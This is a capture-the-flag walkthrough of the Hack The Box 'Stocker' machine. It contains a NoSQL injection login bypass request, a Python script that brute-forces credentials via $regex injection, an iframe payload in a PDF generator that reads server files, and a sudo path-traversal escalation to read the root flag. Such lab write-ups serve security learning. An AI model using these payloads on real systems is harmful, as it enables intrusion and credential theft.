HTB stocker walkthrough
Introduction
Some skills you might need:
- vhost scan
- nosql injection
- pdf XSS
Nmap scan port
# Nmap 7.70 scan initiated Sat Jun 10 21:39:21 2023 as: nmap -p- --min-rate 10000 -oA stocker 10.10.11.196
Warning: 10.10.11.196 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.196
Host is up (0.24s latency).
Not shown: 64762 closed ports, 771 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Sat Jun 10 21:40:12 2023 -- 1 IP address (1 host up) scanned in 50.96 seconds
The port 80 is nothing interesting to me, and no result with gobuster scan
Therefore, the next step is try to find another vhost!
ffuf scan vhost
ffuf is a fast scan tool written by go, I like it very well!
ffuf -u https://stocker.htb -H "Host: FUZZ.stocker.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
Luckily , vhost does exist, dev.stocker.htb
nosql injection
Reference:https://book.hacktricks.xyz/pentesting-web/nosql-injection
Go to the dev.stocker.htb
, and we get a login page, which builded by express!
When I realized that is was developed by express framework, we can change content-type
to application/json
So, we can bypass login and go on!
POST /login HTTP/1.1
Host: dev.stocker.htb
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cache-Control: max-age=0
Content-Length: 85
Content-Type: application/json
Cookie: connect.sid=s%3AGSf78N9XIm4thMnxUafNVaNBObREyPyJ.oWd4IHWk9VRufiBW6%2Fdftk%2FoOiAaPCvhgMOt4ysMeJs
Origin: http://dev.stocker.htb
Referer: http://dev.stocker.htb/login
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
{"username": {"$regex": "^{{rangechar(00,FF)}}"}, "password": {"$ne": "null"}}
I use yakit, and configured a rule like this:
brute username and password
Another additional steps, which I feel maybe help, we can obtain username and password by nosql injection
, just use $regex
.
I have wrote a python script as follows, which you can refer:
import string
import sys
import requests
def brute_password(user=""):
password = ""
while True:
for c in string.ascii_letters + string.digits + string.punctuation:
if c in ["*", "+", ".", "?", "|", "\\"]:
continue
sys.stdout.write(f"\r[+] Password: {password}{c}")
sys.stdout.flush()
data = {"username": {"$ne": "null"}, "password": {"$regex": f"^{password}{c}.*"}}
resp = requests.post(
url = "http://dev.stocker.htb/login/",
headers={
"content-type": "application/json"
},
json=data,
allow_redirects=False
)
if "stock" in resp.text:
password += c
continue
def brute_username(user=""):
username = ""
while True:
for c in string.ascii_letters + string.digits + string.punctuation:
if c in ["*", "+", ".", "?", "|", "\\", "a"]:
continue
sys.stdout.write(f"\r[+] Username: {username}{c}")
sys.stdout.flush()
data = {"username": {"$regex": f"^{username}{c}.*"}, "password": {"$ne": "null"}}
resp = requests.post(
url = "http://dev.stocker.htb/login/",
headers={
"content-type": "application/json"
},
json=data,
allow_redirects=False
)
if "stock" in resp.text:
username += c
continue
if __name__ == "__main__":
# brute_password()
brute_username()
# b3e795719e2a644f69838a593dd159ac
# angoose
After a while, got username angoose
and password b3e795719e2a644f69838a593dd159ac
pdf XSS
After we login, we can add good to our shopping cart, and make an offer. Then you can get a pdf!!!
Download pdf, and you will find:
strings -n 8 <order-id>.pdf
There exists a security problem as follows:
https://www.triskelelabs.com/blog/extracting-your-aws-access-keys-through-a-pdf-file
Which we called pdf xss
shell as user
First of all, we read web application configuration file, which usually located in etc/nginx/nginx.conf
{
"basket":[
{
"_id":"638f116eeb060210cbd83a93",
"title":"<iframe src=file:///etc/nginx/nginx.conf height=1050px width=800px</iframe>",
"description":"It's toilet paper.",
"image":"toilet-paper.jpg",
"price":0.69,
"currentStock":4212,
"__v":0,
"amount":1
}
]
}
We got content as follows:
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 768;
# multi_accept on;
}
http {
##
# Basic Settings
##
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
# server_tokens off;
# server_names_hash_bucket_size 64;
# server_name_in_redirect off;
include /etc/nginx/mime.types;
default_type application/octet-stream;
##
# SSL Settings
##
ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
ssl_prefer_server_ciphers on;
##
# Logging Settings
##
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
##
# Gzip Settings
##
gzip on;
# gzip_vary on;
# gzip_proxied any;
# gzip_comp_level 6;
# gzip_buffers 16 8k;
# gzip_http_version 1.1;
# gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
##
# Virtual Host Configs
##
include /etc/nginx/conf.d/*.conf;
server {
listen 80;
root /var/www/dev;
index index.html index.htm index.nginx-debian.html;
server_name dev.stocker.htb;
location / {
proxy_pass http://127.0.0.1:3000;
proxy_http_version 1.1;
proxy_cache_bypass $http_upgrade;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Forwarded-Port $server_port;
}
}
server {
listen 80;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name stocker.htb;
location / {
try_files $uri $uri/ =404;
}
}
server {
listen 80 default;
server_name _;
location / {
return 301 http://stocker.htb;
}
}
}
Ok, we know the web application directory, and we just read:
Well!, we have got the username and password which can be used as ssh login!
shell as root
sudo -l
, you will find:
angoose@stocker:~$ sudo -l
[sudo] password for angoose:
Matching Defaults entries for angoose on stocker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js
So, just write a javascript script as follows:
const fs = require(‘fs’);
fs.readFile(‘/root/root.txt’, ‘utf8’, (err, data) => {
if (err) throw err;
console.log(data);
});
Of course, we can’t move to /usr/local/scripts
, but we can:
sudo /usr/bin/node /usr/local/scripts/../../../home/angoose/flag.js
Ok!!, root flag in hand!